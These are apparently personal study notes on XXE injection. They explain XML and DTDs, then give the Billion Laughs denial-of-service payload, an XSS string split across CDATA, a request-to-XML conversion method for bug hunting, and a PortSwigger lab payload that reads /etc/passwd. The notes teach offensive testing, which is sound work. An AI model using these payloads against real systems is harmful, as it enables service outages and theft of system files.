XXE – XML External Entity Injection

What is XML and how it works?

- XML simplifies data sharing, transport, and data availability
- Stores data which is h/w or s/w independent e.g. two software made by diff companies so xml can be used to share information
- DTD: document type definition – it defines structure and legal elements/attributes of XML doc. DTD is a standard used by different people for data exchange.
- DTD is also used to verify is XML data is in proper format. It can be defined both externally and internally.
- Internal DTD:

```
1.  <?xml version = "1.0" encoding = "UTF-8" standalone = "yes" ?>
2.  <!DOCTYPE address [
3.    <!ELEMENT address (name,company,phone)>
4.    <!ELEMENT name (#PCDATA)>
5.    <!ELEMENT company (#PCDATA)>
6.    <!ELEMENT phone (#PCDATA)>
7.  ]>
8.
9.  <address>
10.   <name>Tanmay Patil</name>
11.   <company>TutorialsPoint</company>
12.   <phone>(011) 123-4567</phone>
13. </address>
```

- External DTD

Addressbook.xml

```
<?xml version="1.0"?>
<!DOCTYPE DOCUMENT SYSTEM "addressbook.dtd">
<ADDRESSBOOK>
      <CONTACT>
            <NAME> Name 1 </NAME>
            <ADDRESS> Address 1 </ADDRESS>
            <CITY> City 1 </CITY>
            <PIN> Pin 1 </PIN>
            <PHONE> Phone 1 </PHONE>
      </CONTACT>
</ADDRESSBOOK>
```

Addressbook.dtd

```
<!ELEMENT ADDRESSBOOK (CONTACT)>
<!ELEMENT CONTACT (NAME, ADDRESS, CITY, PIN, PHONE)>
<!ELEMENT NAME (#PCDATA)>
<!ELEMENT ADDRESS (#PCDATA)>
<!ELEMENT CITY (#PCDATA)>
<!ELEMENT PIN (#PCDATA)>
<!ELEMENT PHONE (#PCDATA)>
```

- For external the keyword SYSTEM is used followed by a URI/URL, this could be an internal resource or a URL to a resource on some server. The DTD is defines in the .DTD file. This is used to call an external file in the XML
- DTD Entities: basically variables that define replacements. (can be internal or external-from URI/URL)
- Internal : <!ENTITY var_name "var_value"> To use this entity (reference it) use: &var_name;
- External: <!ENTITY var_name SYSTEM "URL/URI"> To use this entity (reference it) use: &var_name;
  E.g.: <!ENTITY abc SYSTEM https://example.com/file.dtd>

What is XXE and its exploitation?

- XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result.
- Example attack: Billion Laughs (type of a DOS attack) it uses recursive calling of entities to create an approx. 3 GB memory consumption. If there is a size limit then we can use an empty string. This will evade the 3 GB mem consumption but the CPU cycles will still be utilized since it is still doing 10*10*10*10*10*10*10*10*10 lookups for the variable.

```
<!DOCTYPE root [<!ELEMENT root ANY>
<!ENTITY LOL "lol">
<!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
<!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
<!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
<!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
<!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
<!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
<!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
<!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
<!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">]>
<root>&LOL9;</root>
```

- OWASP XXE Testing guide
  - The first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML meta-characters. E.g.: **‘,”,<,>, <!--/-->,&,]]>**(in case of CDATA being used) (this can be used for XSS as well using: **<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>**)
  - For testing we can use:

```
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random">]>
  <foo>&xxe;</foo>
```

- Bug Crowd, Nahamsec blog
- To find XXE you must check all post requests (e.g. the request for forget password functionality etc.)

- Once to capture the request change the Content Type header from whatever it is to XML. You must also change the POST request parameters into an XML format For e.g.:

  This:
  utf8=%E2%9C%93&authenticity_token=DV7e2nQP0kXWCloa%2BG%2FQRNSlDH0zXKg5%2BRM575oJ2XA%2BzrbBP5TDbJiWTxmedp9s1FdZ27s48vSQqRsN%2F0KL%2BA%3D%3D&login=test%40test.com&password=test

  Will become this:

  <?xml version="1.0" encoding="UTF-8" standalone="no"?>
  <root>
  <password>test</password>
  <utf8>?</utf8>
  <login>test@test.com</login>
  <authenticity_token>DV7e2nQP0kXWCloa+G/QRNSlDH0zXKg5+RM575oJ2XA+zrbBP5TDbJiWTxmedp9s1FdZ27s48vSQqRsN/0KL+A==</authenticity_token>
  </root>
- You can also automate this using the burp extension "Content Type Converter"
- Once converted send the request and see if the servers accepts it, if the response is 200ok then continue if its 4xx then try somewhere else.
- Inject the doctype payload and replace the variable name to see if you get file retrieval.
- LAB portswigger
  - Intercepted the request which was this (it is already in xml)

    <?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>6</productId><storeId>1</storeId></stockCheck>

    Add the following payload. Now note that we cannot add any params from ourselves and must use the existing ones. Here we have replaced the value product id and in the error the server has reflected the contents of etc/passwd. XXE can be used in places where the app is hiding certain resources.

    The injected request looks like this:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <stockCheck>
    <productId>**&xxe;**</productId>
    <storeId>1</storeId>
    </stockCheck>